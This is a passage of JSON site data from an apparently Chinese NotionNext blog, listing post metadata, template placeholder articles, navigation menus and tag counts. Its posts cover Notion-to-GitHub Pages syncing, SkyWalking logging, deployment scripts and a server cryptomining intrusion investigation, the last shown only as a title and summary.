2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"041a3743-f888-4476-b947-fff856745c02","password":"d29c88a2bd1f06fcc58605a0261679a7","date":{"start_date":"2021-11-05"},"type":"Post","category":"未发布","slug":"article/example-2","tags":["开发","工具"],"summary":"本文需要输入密码才可访问,密码: 123456","title":"加锁文章2 - 密码123456","status":"Invisible","publishDate":1636070400000,"publishDay":"Nov 5, 2021","lastEditedDate":"2024-03-22T14:50:54.674Z","lastEditedDay":"Mar 22, 2024","fullWidth":false,"pageIcon":"","pageCover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=041a3743-f888-4476-b947-fff856745c02","pageCoverThumbnail":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=041a3743-f888-4476-b947-fff856745c02\u0026width=800\u0026fmt=webp","tagItems":[{"name":"开发","color":"pink"},{"name":"工具","color":"pink"}]},{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-3","tags":["新闻","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。","title":"EMPTY-ARTICLE-3","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:55.364Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9","pageCoverThumbnail":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9\u0026width=800\u0026fmt=webp","tagItems":[{"name":"新闻","color":"orange"},{"name":"推荐","color":"red"}],"password":""},{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-4","tags":["健康","推荐"],"summary":"如果您的Notion数据库已经修改了内容,发现网站内容还是旧的,说明绑定NotionPageID失败了,请重新检查Vercel后台是否正确配置好ID,并尝试重新部署。","title":"绑定成功测试-4","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:59.318Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=93032c73-435f-4a73-8087-b71ecff3a86b","pageCoverThumbnail":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=93032c73-435f-4a73-8087-b71ecff3a86b\u0026width=800\u0026fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"973ede9c-1a10-4482-be06-324fd481d34f","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-5","tags":["健康","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容","title":"空白文章5","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:53.512Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=973ede9c-1a10-4482-be06-324fd481d34f","pageCoverThumbnail":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=973ede9c-1a10-4482-be06-324fd481d34f\u0026width=800\u0026fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"163026f4-445a-4595-936d-c0df491c3776","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-6","tags":["金钱","推荐"],"summary":"仅供列表展示、文章无内容","title":"空白文章6","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:50.804Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random/720x480/?encryption\u0026t=163026f4-445a-4595-936d-c0df491c3776","pageCoverThumbnail":"https://source.unsplash.com/random/720x480/?encryption\u0026t=163026f4-445a-4595-936d-c0df491c3776","tagItems":[{"name":"金钱","color":"green"},{"name":"推荐","color":"red"}],"password":""},{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-7","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容;\n这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。","title":"空白文章7","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:57.241Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-8","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章8","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:08.239Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=b4a852c3-8bab-43ef-b748-8dec9d0940f9","pageCoverThumbnail":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=b4a852c3-8bab-43ef-b748-8dec9d0940f9\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-9","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章9","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:06.142Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=463a12f0-d5d5-4492-bb0f-8058cea32a41","pageCoverThumbnail":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=463a12f0-d5d5-4492-bb0f-8058cea32a41\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-10","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范","title":"空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:03.738Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97","pageCoverThumbnail":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","icon":"fas fa-home","date":{"start_date":"2022-05-18"},"type":"Page","slug":"/","title":"主页","status":"Published","category":"","publishDate":1652832000000,"publishDay":"May 18, 2022","lastEditedDate":"2024-01-18T17:40:34.961Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"7b6c5022-b0db-4dc3-a38e-47cefabe2caf","icon":"fas fa-search","date":{"start_date":"2021-07-02"},"type":"Menu","slug":"/search","tags":["文字"],"summary":"跳转到’/search’搜索页的菜单","title":"搜索","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.112Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"文字","color":"brown"}],"to":"/search","name":"搜索","password":""},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]},{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}],"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 